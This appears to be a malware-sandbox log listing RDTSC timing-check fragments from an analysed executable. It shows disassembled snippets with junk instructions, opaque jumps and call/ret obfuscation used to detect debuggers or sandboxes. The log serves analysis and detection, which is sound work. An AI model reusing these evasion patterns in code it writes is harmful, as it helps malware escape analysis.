Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FBC3 second address: F2FBE3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD0FCEAC55Ah 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jnp 00007FD0FCEAC560h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FBE3 second address: F2FC49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 sub esi, dword ptr [ebp+122D29D4h] 0x0000000d push eax 0x0000000e sub esi, 240FBDB7h 0x00000014 pop edi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FD0FD11A2C8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov edi, 3CAF2DF0h 0x00000036 jo 00007FD0FD11A2CCh 0x0000003c xor dword ptr [ebp+122D2E8Ah], ebx 0x00000042 push 00000000h 0x00000044 mov edi, ecx 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push ebx 0x0000004a jmp 00007FD0FD11A2D0h 0x0000004f pop ebx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FC49 second address: F2FC4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2FC4F second address: F2FC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2F950 second address: F2F96B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0FCEAC55Ch 0x00000008 jne 00007FD0FCEAC556h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007FD0FCEAC558h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32726 second address: F3272B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3565E second address: F35664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35664 second address: F3567C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0FD11A2CDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32421 second address: F32426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3567C second address: F35700 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD0FD11A2CEh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D29CCh], edx 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D3078h], eax 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FD0FD11A2C8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov ebx, dword ptr [ebp+122D2F00h] 0x0000003c pushad 0x0000003d or dword ptr [ebp+1244D828h], edi 0x00000043 jmp 00007FD0FD11A2CFh 0x00000048 popad 0x00000049 xchg eax, esi 0x0000004a push esi 0x0000004b jmp 00007FD0FD11A2D5h 0x00000050 pop esi 0x00000051 push eax 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F32426 second address: F3242C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F35700 second address: F35712 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD0FD11A2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FD0FD11A2CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3242C second address: F32430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3670D second address: F36713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36713 second address: F3671B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3671B second address: F36721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F358D5 second address: F358D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F387B2 second address: F387BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD0FD11A2C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37970 second address: F37997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FD0FCEAC558h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD0FCEAC566h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F387BC second address: F38822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 clc 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FD0FD11A2C8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d xor dword ptr [ebp+122D1F67h], edx 0x00000033 xchg eax, esi 0x00000034 pushad 0x00000035 jmp 00007FD0FD11A2CBh 0x0000003a jmp 00007FD0FD11A2CEh 0x0000003f popad 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 push ecx 0x00000045 pop ecx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38822 second address: F38826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38826 second address: F3882F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39806 second address: F39817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0FCEAC55Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39817 second address: F39849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD0FD11A2D2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F399BD second address: F399D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD0FCEAC562h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F399D7 second address: F399E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD0FD11A2C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B8C2 second address: F3B8E3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0FCEAC558h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD0FCEAC562h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B8E3 second address: F3B8E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B8E9 second address: F3B929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a mov dword ptr [ebp+122D2E92h], ebx 0x00000010 stc 0x00000011 popad 0x00000012 push 00000000h 0x00000014 mov ebx, 1E479086h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007FD0FCEAC558h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3B929 second address: F3B942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C7C0 second address: F3C7F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD0FCEAC567h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FD0FCEAC565h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D7A0 second address: F3D82D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007FD0FD11A2C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FD0FD11A2CEh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FD0FD11A2C8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f pushad 0x00000030 js 00007FD0FD11A2CCh 0x00000036 mov esi, dword ptr [ebp+122D2ABFh] 0x0000003c adc ah, FFFFFF8Dh 0x0000003f popad 0x00000040 sub edi, dword ptr [ebp+122D399Bh] 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007FD0FD11A2C8h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 00000015h 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 xchg eax, esi 0x00000063 jmp 00007FD0FD11A2CDh 0x00000068 push eax 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c push ebx 0x0000006d pop ebx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D82D second address: F3D831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F41737 second address: F4173C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4173C second address: F417C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FD0FCEAC558h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FD0FCEAC558h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 jg 00007FD0FCEAC565h 0x00000048 mov dword ptr [ebp+122D38C6h], ecx 0x0000004e push 00000000h 0x00000050 mov edi, dword ptr [ebp+122D2CDFh] 0x00000056 mov edi, 28572FD8h 0x0000005b xchg eax, esi 0x0000005c jmp 00007FD0FCEAC55Ah 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jl 00007FD0FCEAC558h 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F427DE second address: F42801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FD0FD11A2D0h 0x00000011 jng 00007FD0FD11A2C6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40A3F second address: F40A49 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40A49 second address: F40A62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007FD0FD11A2CAh 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3D9D8 second address: F3DA54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e call 00007FD0FCEAC568h 0x00000013 sub cx, 883Eh 0x00000018 pop edi 0x00000019 mov ah, 0Eh 0x0000001b popad 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov edi, dword ptr [ebp+122D1CC4h] 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 mov ebx, 750F4F38h 0x00000035 mov eax, dword ptr [ebp+122D152Dh] 0x0000003b mov edi, dword ptr [ebp+1244D7E4h] 0x00000041 push FFFFFFFFh 0x00000043 jmp 00007FD0FCEAC55Ch 0x00000048 push eax 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DA54 second address: F3DA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F439B1 second address: F439B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4483B second address: F4483F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4483F second address: F44849 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F43B79 second address: F43B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44849 second address: F4484E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4484E second address: F448B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a movsx ebx, si 0x0000000d and di, FC95h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FD0FD11A2C8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov edi, 0CEA9B59h 0x00000033 push 00000000h 0x00000035 movzx edi, cx 0x00000038 pushad 0x00000039 mov bx, cx 0x0000003c popad 0x0000003d xchg eax, esi 0x0000003e push esi 0x0000003f jbe 00007FD0FD11A2CCh 0x00000045 jno 00007FD0FD11A2C6h 0x0000004b pop esi 0x0000004c push eax 0x0000004d jbe 00007FD0FD11A2D4h 0x00000053 push eax 0x00000054 push edx 0x00000055 jne 00007FD0FD11A2C6h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44AEF second address: F44AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44AF5 second address: F44AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B111 second address: F4B128 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD0FCEAC55Ch 0x00000008 je 00007FD0FCEAC556h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DE10 second address: F4DE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007FD0FD11A2D5h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DE30 second address: F4DE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DE36 second address: F4DE4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop eax 0x0000000d jng 00007FD0FD11A2CCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4DE4F second address: F4DE5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FD0FCEAC556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4E02B second address: F4E032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4E032 second address: F4E046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0FCEAC55Dh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4E1ED second address: F4E208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD0FD11A2D5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4E208 second address: F4E20D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4E20D second address: F4E215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4E215 second address: F4E21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA66D second address: EDA671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA671 second address: EDA681 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD0FCEAC556h 0x00000008 jne 00007FD0FCEAC556h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54962 second address: F5497F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD0FD11A2D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5497F second address: F54985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54985 second address: F549C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007FD0FD11A2C6h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jbe 00007FD0FD11A2E8h 0x0000001a jmp 00007FD0FD11A2D5h 0x0000001f jmp 00007FD0FD11A2CDh 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F549C5 second address: F549DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F573B1 second address: F573B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F573B6 second address: F573E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC563h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FD0FCEAC55Fh 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B623 second address: F5B633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jng 00007FD0FD11A2C8h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B7AD second address: F5B7D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD0FCEAC565h 0x0000000d jc 00007FD0FCEAC55Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5BAC9 second address: F5BB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jo 00007FD0FD11A2EDh 0x0000000b jmp 00007FD0FD11A2D5h 0x00000010 jmp 00007FD0FD11A2D2h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b jg 00007FD0FD11A2C6h 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5BB08 second address: F5BB13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FD0FCEAC556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60FDA second address: F60FDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F60FDE second address: F61002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FD0FCEAC568h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61286 second address: F612A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD0FD11A2D4h 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61868 second address: F61877 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61877 second address: F618A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FD0FD11A2D8h 0x0000000c jmp 00007FD0FD11A2CEh 0x00000011 pop ebx 0x00000012 rdtsc
